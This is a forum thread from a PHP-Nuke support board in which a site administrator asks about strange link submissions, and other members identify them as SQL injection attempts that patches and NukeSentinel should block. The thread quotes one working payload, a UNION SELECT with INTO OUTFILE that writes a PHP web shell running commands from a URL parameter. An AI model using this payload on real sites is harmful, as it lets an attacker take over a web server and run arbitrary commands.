Getting Wierd *UNION* submissions as link in downloads

Regular Joined: Nov 27, 2005 Posts: 58

People keep making submissions for downloads with links like this:

Code:

' UNION SELECT '<?echo 'Hi Master';print `$_GET[cmd]`;?>' INTO OUTFILE '../../www/phpnuke/shell.php'

Is this a threat ? I just delete the submissions. What exactly is the person attempting to do, and could it be possible for Sentinel to pickup this type of entry if it is a threat ?

Very, very, much a threat, albeit kiddie land. NukeSentinel(tm) should have no problem handling this.

Yep, its a SQL hack. The Patched files should be blocking this, if not, message me the entire URL they used to insert it

They are not actually "inserting" anything. They are not uploading anything that I know of. They are submitting a "link" and that link contains that text. Of course, I never approve the submission, nor have I clicked them.

They add that exact text for the "Page URL" in /modules.php?name=Web_Links&l_op=AddLink like they were submitting a link to another website.

Oh, and I found this:
[ Only registered users can see links on this board! Get registered or login! ]

I use 7.6 fully patched with sentinel. Sentinel does not show any new IP's blocked.

Funny that this thread should come up, I have just had quite a few trying to insert url links into the news comments with

Code:

Yep, we know about this script already. It should be patched

Mm the second one looks like generic spammer. Probably not a hack

Yes, obviously a kid as when his attempt failed, he signed up on my site in order to attempt posting links in news comments again but this time as a registered user.
As he wasnt sensible enough to use a free email account I have emailed his ISP.
